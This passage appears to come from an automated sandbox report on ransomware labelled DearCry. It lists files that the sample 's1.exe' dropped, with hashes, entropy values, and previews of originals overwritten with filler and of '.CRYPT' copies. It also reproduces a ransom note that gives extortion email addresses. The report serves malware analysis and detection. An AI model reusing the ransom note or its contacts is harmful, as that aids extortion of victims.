                                                              Preview: DEARCRY!........S...(....J..9.[.%.pr....W..S 7eY.....VL.y.3.[DP....3....B..2.h......4jU#z9U.N.l..+.%TDy%TEKl=..._.\...a.W.i...;3.'...Z.g..M&b.x...!......|j...6Y.].$O\......y+.....N.Z.H....~#.............~8>.....t..R..:........>3e.........W_..?..|................zkY#m.1.?....;.7......N.>.B.I..X4&.*G.\..v.A.#..L..!.m. .......=GT[...`..............P...?.W2.?....N.6.i..e.\Y.ES...pq....N..B/...L..0............Gs....S...,......`........5QD...G..-`...#....]...eT.Ii..=.st......I..i.8..LO#S.He.......(,..c..{.=C#;...........7......9.mFa..N..CD...)....s.j|..N[.`.s.q0...*.r.#..y..ZC..1.....H.6........&W...L..5E$ ...I.N.R1+$.oL*%.. .......4.....u7...}.;o|......H.G.c.....2..5`.>...T.Q..Pc........]:......k1`e.S........B...7HD..... .h...$..S`TO`.O..j. ..`.Vr...H.K"..Y.o.iG .{x......G.4enF.N1.C....d).........#/D...V..o'._..Cq3ps.+..[....g.q.- ..V...L.5..........i..e..>.w`>.1!.u.....^./KY;}...fk..*..Q.7....D..e.0.W.,..0`23l.M......4.<..L..V
                                                              C:\Users\Default\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):148
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:5F63905B27ED4D7031C7EBF70C2BFC48
                                                              SHA1:F6DDC060514044CB439CFE10DA19C1643322A849
                                                              SHA-256:2AA01AA02FB474F224AE0E5A0C89079B3533DCFF2425269DFBE241614F2C37B7
                                                              SHA-512:875CF41FB699FA6499AD6063DFDD84AC655A0B938BAB3C0E196F1DEF32E00781FBB72F601EC56344E4ACEC21743DF72ED4E3C9387DBD8F01C3213D9208D6D831
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\Default\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):440
                                                              Entropy (8bit):7.454765834345964
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:3C7D9972F0680DCF5076645BA7AD09FB
                                                              SHA1:C44560A257AD54B51FFD7D59B141692F15C3B65C
                                                              SHA-256:0F2FB8E734B4E23637209CA47198132E127E863ADBF9965F28AC74E9E161198A
                                                              SHA-512:2009D559DBE6FC09E62F94E80666FB1F516AA01B0B70AA223268774605AF5BCCFD69BBF979BF23CF0EC94F77B3AF8ACEF84502D21321E27912B7F453587B4BC2
                                                              Malicious:false
                                                              Preview: DEARCRY!....MR.{.W.Z..........n......S...* ..3.j...%.J2.+....B....@...V.q4.].....k6..J.8^A.H8E..n. A..,.6..d.~.6n..^.=.=......S|.*9*...x.<.......4/...X..!B8.....C.b.x.T..$O.....9...}.d...h.%..9....)S.:..o.0:..A9 ........f4a..0.&..\...y...NPQ....&.............X.CK28l8,~......*....6>.$....b.8B..g.N......&.|"...XY.....C...#......2.{.l.9....<].w........{cc}3..Y.!.........N.,1.?..54.>+.c.$7.?lK....J.L...5.(2..[B
                                                              C:\Users\Default\AppData\Roaming\Microsoft\Windows\SendTo\Desktop.ini
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):558
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:C01CD1F408BA7127A3E21C81AA255243
                                                              SHA1:4D43AB40928EF7FB786CF0FFE02D58025ED2DBD3
                                                              SHA-256:1527D9B91299F85598454F2835DD7D98F2D038CDCF03AAA21090F683093446AC
                                                              SHA-512:374736CB348C054ED8410A900E97EA768C5544A1D4898A1DC43D9A5A63A58B72BF546EDC330583DFDFE7C2DCB1EDA5BC399E6637370732497B83ED25B178B715
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\Default\AppData\Roaming\Microsoft\Windows\SendTo\Desktop.ini.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):840
                                                              Entropy (8bit):7.761059299187445
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:E623473C87C80DF93F08E30B22952FCE
                                                              SHA1:1CBD6DE615CF91F7CF9EC3706967F639A4350BF4
                                                              SHA-256:14E86612A0D13FC58FE52F39091322F6E24441820BABDE8FE3C3589549B149C0
                                                              SHA-512:CDB7B524AA400EE19583FA427EB22563980CE6C4463A02CFFC81363C48326C1764683E7FD53E4C222B53A78AD45F5B38A0B40A5D84310661A7A3FFC4BCD49052
                                                              Malicious:false
                                                              Preview: DEARCRY!....&.\$......y.O...Ea...:.#|..7^.../6.&..mH..i..."../.43......D.......xe........0...=K....QDz...K..q.g.*OV.<....D._G..E.....h.*e1....}..k..{...X....W3.H.a......j..em2..cg.0...'mw8....W.l..n..,..,....2...<oR...cz9.&.P.0s.....@.81..1.5..3W.\I....VC.................H.Q.4.......?c...).nJSrU5.b.pr ..~...M^...T.PK..Y.|}P..].nXE.X.._..M.:E}...x..L...*."G..$Z.`.R.5.....^-.~......l..y...,0..@.#w.iP.....rH.9.6.......$..z..o`:+.eQ.G...-4w:tl@..R...D...y@>N..}.vX....5g.7w...mO..h.2.@X._.%%.G.0E.u,.bc...,...po.. ..Vl.....|ZW<5..Y...."2#w43..Sr. fD..n6...#n.......8..7R.2<.......p.Y[hT1T.@.*.8~.R.]q...J...,.!.!.....7.`....6F.-.j...-W..P....>.Y...RK8..o.A..j..J...d.A.....S+....2..dI.,.%..3...P..Z.#...{.?l!.e./......V{....G.D4'I.....XC.......:......a....D.-n&.)...Q3p...(vO.*...%.....e........b.Y.P
                                                              C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility\Desktop.ini
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):568
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:8582D7F14F5E191163034D91C8137501
                                                              SHA1:E83DB2145092B323770E3ED1F8DDBB13565B9947
                                                              SHA-256:13DB0CE1BEC45D8EE087011B7379F79E9243C8B061D6DAF39F935BDF03395181
                                                              SHA-512:9D55642AB7A5DBFF1F1F18A7DC8AB81D811AF16F06C935AA3E0BF6B558D137BD75C516861435B52E2858E158023C28B255D65CDA0704DDF0C13D2D1F0618726F
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility\Desktop.ini.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):856
                                                              Entropy (8bit):7.742596421286966
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:20189071F1CE80230C5C411D3851A356
                                                              SHA1:CED19CC0016D5EB5F3B7C0BA96FB280A8556A3FF
                                                              SHA-256:3508F9C432E3BA5CFF7154FF460D9E45C9E08C243069AD8523AC3BF1CBDF0608
                                                              SHA-512:6B5A98C8D2782DD8F489E51FCB45A50A5EBC539877A33B65B9FC10847BAA62C6C40F3E092947E3C25B5012DBF1C3542732F48670CF2FB7C2C1066EFDC0A5DCCE
                                                              Malicious:false
                                                              Preview: DEARCRY!.....Dg6......T.(S.....oI.yf..I......WcS...C.......xm..........`.....i.S...T`......j.:.....$N.g.-w.[<......IX..XN0}...H..A'.?..ciI-Enr.=....z...O2.$"j.z...PR.TK....",.0..J....Y\C....... -.c..<..V....Z....z...{..]w..)...o2...D5.p.........y2....4<......8........>^.V..Z..7X{.....>q._.L....]!.......w.......{...vj.[.a..|...H.......i W.E...C..#_ie.1.KD....YF.\.....GW....._..........%_V.9.gz.b'w.I.\N....[....G.k.:...qB y.+..........F..../}......!-i..^.......[....)Kh.}.?.qa....N....`'.yg.Y&!...V...= ...*.f.......6..A1.{._......0.R&.M6..{.{.cH.Y....."../......2..b.....|..pX.j...7.T6.gk.-.T.@v..h....Fu..B.......t....N..\I........+.U..E.#v.S..l....^..Bv$5....E.....<.c.o.T..T...|.bH.&.@(.*.....[QRz_...E.j..m..dgi.;..PP..Z....).:\.t....D.h.....XS.7.-..CV....>.~.......p$.....ml.-..^.Y.0.Z.s.,...C.i......D...
                                                              C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Desktop.ini
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):328
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:58F702CF5079D8C3C176031EF00DF2E9
                                                              SHA1:F32B862B6E2EABA8E57A4C82911B0815BFBFB682
                                                              SHA-256:C269DB34EAC94F1A2C93741B809D5E3E4C20E3388E344FC280AEDF23AFBFA5AE
                                                              SHA-512:5F3355801117A67A3866E498FE4DAF6CC63006FDC96EF8063957DD7DA346E0089A45C3230E9FC5482F8683F197F6987FD2F7C966317D94343455139F7DABB71E
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Desktop.ini.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):616
                                                              Entropy (8bit):7.630628245074312
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:93C362EB10F8D9C8B8DD0BE0E7E5016F
                                                              SHA1:899DB083D5C1D04FB9A42B1B841B7E036F75CDBC
                                                              SHA-256:3F96FD981641F082045535CCCA5AC5F43B226EDE0E4BDF585C988DD73FD1869C
                                                              SHA-512:899220935121F1F3B58CD2FD6E281DF07B6916D43A171F7A0A5200A7E6A5DECA9E8A36CDA7BA28A172ED347576DE2FD3B3E774FFFF033127DBB5E9A148E372EA
                                                              Malicious:false
                                                              Preview: DEARCRY!.......V...H2...7..r.mN.....E..b.@.W...Q>...03.(...u..I.j ..._}Z.YP[p).Fg....&|...}}..Ifen.W....A....60+..gy.....V..B.........^}:...1..~.>../.N..x.0$.OE....c...W....O.J.. ..K'.U.M.f..,h.....Q.j.f...9..S.P...%h@e..,..zmN..*}.....HJ....Tm.n.~.yDs.V..R(.k....H.......[..y.*[....0..j,...)L..%.....Y[....Ie...-7.G..`...h.s.h...O.a.|A..Uj.SGd..|...:..-...9......(...IH....'.`;...,..1.... w.r..9.>QZM.-...Z...b..~.....d.UW...N..#ntA.#..A..U.6.\..~......n.....l>..u..(L|L.2;.<.s.L.9..Oh....s.sL+;.\....:..c.......^..|H.....B[.7c..q#j...{Z.....i.:..|k...x...da.;..)".V...bM;.B...C.pd...N..."..
                                                              C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):170
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:C5F74317E9F328452E4240295B6229FB
                                                              SHA1:79169F0F0A049A094AD818B8E4717CF43FCBBF98
                                                              SHA-256:7E5112B5DB200307FE7148CBF8CC0BB8F2F520EFE3BC902D72C226B5BDBCA0B8
                                                              SHA-512:E2EDD7C91D35677EE83403E93468C9F51B00B556E644929F0509DD6DFBE920FAC685B7F48A2339A081A30AF68EEFE667BDCF6403AB38490B89B97E0CF0DC03D6
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):456
                                                              Entropy (8bit):7.5538568876939935
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:0B1B828FA347445089349071AF4EB158
                                                              SHA1:EBAE72B6041D6CE9AF0C4AE14782FF9008795CB7
                                                              SHA-256:E398057C8D8BA5C4C90B3FFF4ACD5EA914C434C73C6D3CF35EAE17A3FA1D3303
                                                              SHA-512:D759E3893A8DCA05AA78A8FAA514B635728BD15F227DC484B8E00CE2CAE14159111DF9EB032AEDA3951B5F28C6C56FBDF76A972BF76D0B8001F5D095CB3CBFB5
                                                              Malicious:false
                                                              Preview: DEARCRY!....:..4I.......p.K=bT.M@q.2..]X...N..z2..&).K.8.....7.{.._?.x....8...3]b+.d.y...>Z...<^L...bO]...1&Hc.&..".S.H=tUP........v&...O2..E.x....g%...$hF..fz@..#3B.cq./wPQo....l.......$..J..;............a.Zv....N[..`.A.Fap#@5.....'..It,j.O.Z.g..'.............w.4.1.....4.I..e....vd.@..\h..7. .....FG..ks.S*a.u..]h..8s\.v.Oox...(.r.#Z..._.*...K...o.....#*...y..cl..9WVQ....]K. .Qr..f.....x..R.@....y?.J......................
                                                              C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools\Desktop.ini
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):798
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:7F77FF5BDB57522C887EF0C40AE621A2
                                                              SHA1:0AF6D7712B4CA2728C59528501241E3422AEA5FE
                                                              SHA-256:6AB19F6ECDB3611E3785B81932CDCAA7C1179FB21BD2082A44AEFC2623109CDD
                                                              SHA-512:28CF19A78F1C74007FD27DE4E203B7667D3AE04C6DC6E4FE22D337FDA864B6AC17EB2482FAF9455FA2C4F4AA73CE29CEE154DF615A50B8653C7EDF7EEE8DA7CC
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools\Desktop.ini.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):1080
                                                              Entropy (8bit):7.803416482277338
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:F7E994016743BE02B7FAAC1E32667B60
                                                              SHA1:CA45011D97B26B3917813A2C7341BFF59B89DDDB
                                                              SHA-256:045F8FC990EABC64481F1F1CA1638DE4326298A61257ADFF459845335B5F95A2
                                                              SHA-512:55361B31C4E4BF80B527F605640DEC74D13FB3AAC5F1269D7193760F5549A39C0ABDDE0AD4B0576B37DB79125EED0668CBF1D641085D388C808823CE41C40E33
                                                              Malicious:false
                                                              Preview: DEARCRY!.....B.4.C...C..R..kr9I.I.*b...9K..pD..G.B)r...<.L..n...@S}2..Hs.2.p..Y..2<~K..-...`.]..[.)q...\...X7m.o..$Wj.h_o......I.~:....F...}.V>m.......l..=...Hg.....#e..c%.......|q.IH....m$..-"MB.1.L..D..+.k0}X.".r...f...D...<.T....."~7e..%..K.....d................1n......m.......!...y...)$...U'...S.N.$.......aeI.o....G..*:.............o...Ow...h......z.Z.P.5.^.J.J..;....r......oQ.g.8..a..........y.\..?Z.b^.....6.oK~HLj&?...2.Y.....2V.y.m2s..O...<$G.|n-8..^..f.D/.....!..,.v<.U.r..l..o..$.a...~.d!.A..P....6..6...3+t.W../...C!4l.u....t./8z....h.qH.Ey\]@5..lvb..1cQ.....#. .w^...k.>S..C..`..Q.........6....~0V..,...'..X.8..2i..UO^.1OEq..ujWE$73../?.....&....)...6@.PM...Sy..q3-^$...\......D..{.*L...../..v.......b...VB.38.C.."...)4).....o.........z).f..^x..ok....Ww..O.{;....u..6...,.B...KO......}..........3.Y."(q.ih.^PN...0p....GQ#x,......d.j.'p.-.e..&..b..o]mx..JL*.W.k..+c..'-R,[..O.r.\c.l..1......R..v....k.......9.jON...v...3..p
                                                              C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\desktop.ini
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):218
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:55876C3714B8AC46478AAAB00C6F9699
                                                              SHA1:99E4A968B02F5A22741F378594273BFCE33F179B
                                                              SHA-256:94CB8DFF4478F113583E9C83DEB72DEE9D2A911C28AF8C556237959B6C8844A4
                                                              SHA-512:1145F8E89333913F7A9FB5CFA4B554024A1AB9785D132948B59214BB9F3EEB85FE15B5016798664A594EC66974890592E6D2F71399F17173D1A42D00A2DBBD1D
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\desktop.ini.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):504
                                                              Entropy (8bit):7.635775944452985
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:BB809B8B3B7DCD55A23612AAF2AE077E
                                                              SHA1:579E729483604C438B7E71FD018C31ECA92AC862
                                                              SHA-256:963048C4AE8288036E4DB5CBC61467CB3F4BD6F2974527166623691FF9FA9F75
                                                              SHA-512:0867DB08FFEFCF67EA1C317318A6D520AAD3789B23E0D39AB70FDE4DD5D92F6E9BAAA1A1AF5CD41E503E4BD66AFA92F61A2E97A50CDB4AE1EA35F6DDEBB77B36
                                                              Malicious:false
                                                              Preview: DEARCRY!....#z't.7Z&.F.u,HI\..7w.p..O.1{.V.._....$.A.-.....o.m.-......{~.c?..<..G}qF_Rh.0E....$....A..t.VJx......d!.....2...Q......*..\....K...:...A"....? {..Hx..ue..UO.4..+.......9&'...Z.s...d]!..O......,[X..%! ....%.^..t%K+.........o...../.+...I...56...H)...................A./.E2*Pk.m..]:.p)tJ.O..Q~.p3=.4...".2..QpU.s...p......~.%....3y.\.4..Z$.....:..k....vMx..E.R.kjyr.kq.'......n@h<.1.<..ej..XC.7..6...w.W..|...e...n.....l.4.h..208.S....^I.7.m.fzxW.;....o.I{..A.L..qHv.;....H.q
                                                              C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\desktop.ini
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):47
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:A005A3B237EC9A6845BB4E12C446269D
                                                              SHA1:B459EFC276E7C1E39F997ED6C9B4F692DAFD30B5
                                                              SHA-256:ABF6C5D1B6512E188F1DA6A72E974F7B98B5BAC62453F1748C8F9AB180803FDB
                                                              SHA-512:6DD1AC0A9277967903431CF7121E94FAA664693D3061726F1C711249D5A3D2754CE570747A877BDB6C218080B5C9A23DB6294B850EC4B35B8FB72392BD56817F
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\desktop.ini.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):328
                                                              Entropy (8bit):7.226363256340148
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:611B8CA0DA863E11EA8C69E27785CF2F
                                                              SHA1:D2F16F843392BA16830CB1EE52E83A3A33F9D5CE
                                                              SHA-256:294E22B58C8DEAA5FCA52280E51750E9E0498D2E0A2131E9B760F69527C13CAE
                                                              SHA-512:BCB08B9DA73168CD0DE5249DAF1B7A33E1DBDC1B985792F913DDD988748B7DDF724C7EAB97F665EC68AFEAEADB83EAB877FE0EA06B170AA4434D1307957FFE07
                                                              Malicious:false
                                                              Preview: DEARCRY!....F........V\.H.s2mR..g..M.*6g..`..'Y..d.G......N..+C......&.#WM<....x...a...<....f.9...,E.....t.R........G.v...Y..<6..^...W`v.....x..=8......"....;K....{.~9....Y......W..KD.-j.rZ.....v.j..)b....t\.OO...\:Mx....=it=...MA\.hD...*Z..yC....G||Q..../........u.{......Z.N%....7.G..yZX.3.1...}.. ...@.1Q.
                                                              C:\Users\Default\Desktop\readme.txt
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):446
                                                              Entropy (8bit):4.816413813438883
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:78815198934FF72E47868967418508EC
                                                              SHA1:68463ADC56EFDBAC669EEC1CFB9869DA30261D8B
                                                              SHA-256:53FFCCA284219880E44D7EDD5F3BA8D517A87F506F3D70720668EA1C0017D1E4
                                                              SHA-512:3E1AAF93CB5FCE5DF52622940266FB342EA5B43C3696E03FFC83A1DF4B7C35F98905247E04619461E486C9636F01A4F51FB3AABCA9DBE5105DBA1B4A19CB3F0B
                                                              Malicious:false
                                                              Preview: Your file has been encrypted!........ If you want to decrypt, please contact us......... konedieyp@airmail.cc or uenwonken@memail.com........ And please send me the following hash!........ 638428e5021d4ae247b21acf9c0bf6f6..Your file has been encrypted!........ If you want to decrypt, please contact us......... konedieyp@airmail.cc or uenwonken@memail.com........ And please send me the following hash!........ 638428e5021d4ae247b21acf9c0bf6f6..
                                                              C:\Users\Default\NTUSER.DAT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):262144
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:72EC8CDB461BA6FF85F014D5C922A232
                                                              SHA1:07934F1F000798D4405C6DDDA91306172C305038
                                                              SHA-256:97A2FC5541DCC9C06B99B2A84C34961FA0C3AF20DBA3968DF2F96A56C6BC00C9
                                                              SHA-512:67FFC5BCC787CC931723C4385E0DD8A94D530E733945FD786B1461E32F00ED72BD0137A5EF10F6B4E42CB268E5581E90E10F93EC529F6400176783E6FADF3E0A
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\Default\NTUSER.DAT.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):262440
